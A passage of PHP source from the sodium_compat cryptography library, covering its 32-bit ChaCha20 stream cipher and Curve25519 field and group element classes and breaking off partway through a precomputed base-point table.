            throw new InvalidArgumentException('Expected an
integer');
        }
        if ($value instanceof ParagonIE_Sodium_Core32_Int32) {
            /*
        } elseif (is_int($value)) {
            $value = ParagonIE_Sodium_Core32_Int32::fromInt($value);
            */
        } else {
            throw new InvalidArgumentException('Expected an
integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx extends
ParagonIE_Sodium_Core32_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a
96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0,
4));
        }
        $this->container[13] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[14] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
        $this->container[15] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4));
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20
 */
class ParagonIE_Sodium_Core32_ChaCha20 extends ParagonIE_Sodium_Core32_Util
{
    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int32 $a
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @param ParagonIE_Sodium_Core32_Int32 $c
     * @param ParagonIE_Sodium_Core32_Int32 $d
     * @return array<int, ParagonIE_Sodium_Core32_Int32>
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function quarterRound(
        ParagonIE_Sodium_Core32_Int32 $a,
        ParagonIE_Sodium_Core32_Int32 $b,
        ParagonIE_Sodium_Core32_Int32 $c,
        ParagonIE_Sodium_Core32_Int32 $d
    ) {
        /** @var ParagonIE_Sodium_Core32_Int32 $a */
        /** @var ParagonIE_Sodium_Core32_Int32 $b */
        /** @var ParagonIE_Sodium_Core32_Int32 $c */
        /** @var ParagonIE_Sodium_Core32_Int32 $d */

        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(7);

        return array($a, $b, $c, $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        /** @var ParagonIE_Sodium_Core32_Int32 $j0 */
        $j0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $j1 */
        $j1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $j2 */
        $j2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $j3 */
        $j3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $j4 */
        $j4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $j5 */
        $j5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $j6 */
        $j6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $j7 */
        $j7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $j8 */
        $j8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $j9 */
        $j9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $j10 */
        $j10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $j11 */
        $j11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
        $j12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $j13 */
        $j13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $j14 */
        $j14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $j15 */
        $j15 = $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  clone $j0;
            $x1 =  clone $j1;
            $x2 =  clone $j2;
            $x3 =  clone $j3;
            $x4 =  clone $j4;
            $x5 =  clone $j5;
            $x6 =  clone $j6;
            $x7 =  clone $j7;
            $x8 =  clone $j8;
            $x9 =  clone $j9;
            $x10 = clone $j10;
            $x11 = clone $j11;
            $x12 = clone $j12;
            $x13 = clone $j13;
            $x14 = clone $j14;
            $x15 = clone $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4,
$x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5,
$x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6,
$x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7,
$x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5,
$x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6,
$x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7,
$x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4,
$x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            $x0 = $x0->addInt32($j0);
            $x1 = $x1->addInt32($j1);
            $x2 = $x2->addInt32($j2);
            $x3 = $x3->addInt32($j3);
            $x4 = $x4->addInt32($j4);
            $x5 = $x5->addInt32($j5);
            $x6 = $x6->addInt32($j6);
            $x7 = $x7->addInt32($j7);
            $x8 = $x8->addInt32($j8);
            $x9 = $x9->addInt32($j9);
            $x10 = $x10->addInt32($j10);
            $x11 = $x11->addInt32($j11);
            $x12 = $x12->addInt32($j12);
            $x13 = $x13->addInt32($j13);
            $x14 = $x14->addInt32($j14);
            $x15 = $x15->addInt32($j15);

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  = 
$x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
 0, 4)));
            $x1  = 
$x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
 4, 4)));
            $x2  = 
$x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
 8, 4)));
            $x3  = 
$x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
12, 4)));
            $x4  = 
$x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
16, 4)));
            $x5  = 
$x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
20, 4)));
            $x6  = 
$x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
24, 4)));
            $x7  = 
$x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
28, 4)));
            $x8  = 
$x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
32, 4)));
            $x9  = 
$x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
36, 4)));
            $x10 =
$x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
40, 4)));
            $x11 =
$x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
44, 4)));
            $x12 =
$x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
48, 4)));
            $x13 =
$x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
52, 4)));
            $x14 =
$x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
56, 4)));
            $x15 =
$x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
60, 4)));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
            $j12 = $j12->addInt(1);
            if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0)
{
                $j13 = $j13->addInt(1);
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */

            $block = $x0->toReverseString() .
                $x1->toReverseString() .
                $x2->toReverseString() .
                $x3->toReverseString() .
                $x4->toReverseString() .
                $x5->toReverseString() .
                $x6->toReverseString() .
                $x7->toReverseString() .
                $x8->toReverseString() .
                $x9->toReverseString() .
                $x10->toReverseString() .
                $x11->toReverseString() .
                $x12->toReverseString() .
                $x13->toReverseString() .
                $x14->toReverseString() .
                $x15->toReverseString();

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce,
$ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Fe', false))
{
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core32_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int32> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $array[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $array[$i]->overflow = 0;
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromIntArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        $set = array();
        /** @var int $i */
        /** @var int $v */
        foreach ($array as $i => $v) {
            $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v);
        }

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $set[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($i, $set[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @param mixed $value
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    public function offsetSet($offset, $value)
    {
        if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) {
            throw new InvalidArgumentException('Expected an instance
of ParagonIE_Sodium_Core32_Int32');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            ParagonIE_Sodium_Core32_Util::declareScalarType($offset,
'int', 1);
            $this->container[(int) $offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return ParagonIE_Sodium_Core32_Int32
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[(int) $offset] = new
ParagonIE_Sodium_Core32_Int32();
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $get */
        $get = $this->container[$offset];
        return $get;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        if (empty($this->container)) {
            return array();
        }
        $c = array(
            (int) ($this->container[0]->toInt()),
            (int) ($this->container[1]->toInt()),
            (int) ($this->container[2]->toInt()),
            (int) ($this->container[3]->toInt()),
            (int) ($this->container[4]->toInt()),
            (int) ($this->container[5]->toInt()),
            (int) ($this->container[6]->toInt()),
            (int) ($this->container[7]->toInt()),
            (int) ($this->container[8]->toInt()),
            (int) ($this->container[9]->toInt())
        );
        return array(implode(', ', $c));
    }
}
<?php


if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Cached',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->X = $x;
        if ($y === null) {
            $y = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P2',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P3',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->xy2d = $xy2d;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_H', false))
{
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core32_Curve25519_H extends
ParagonIE_Sodium_Core32_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int,
int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345,
4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428,
9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609,
-12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658,
-2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724,
-9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839,
-12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977,
-16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896,
-11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365,
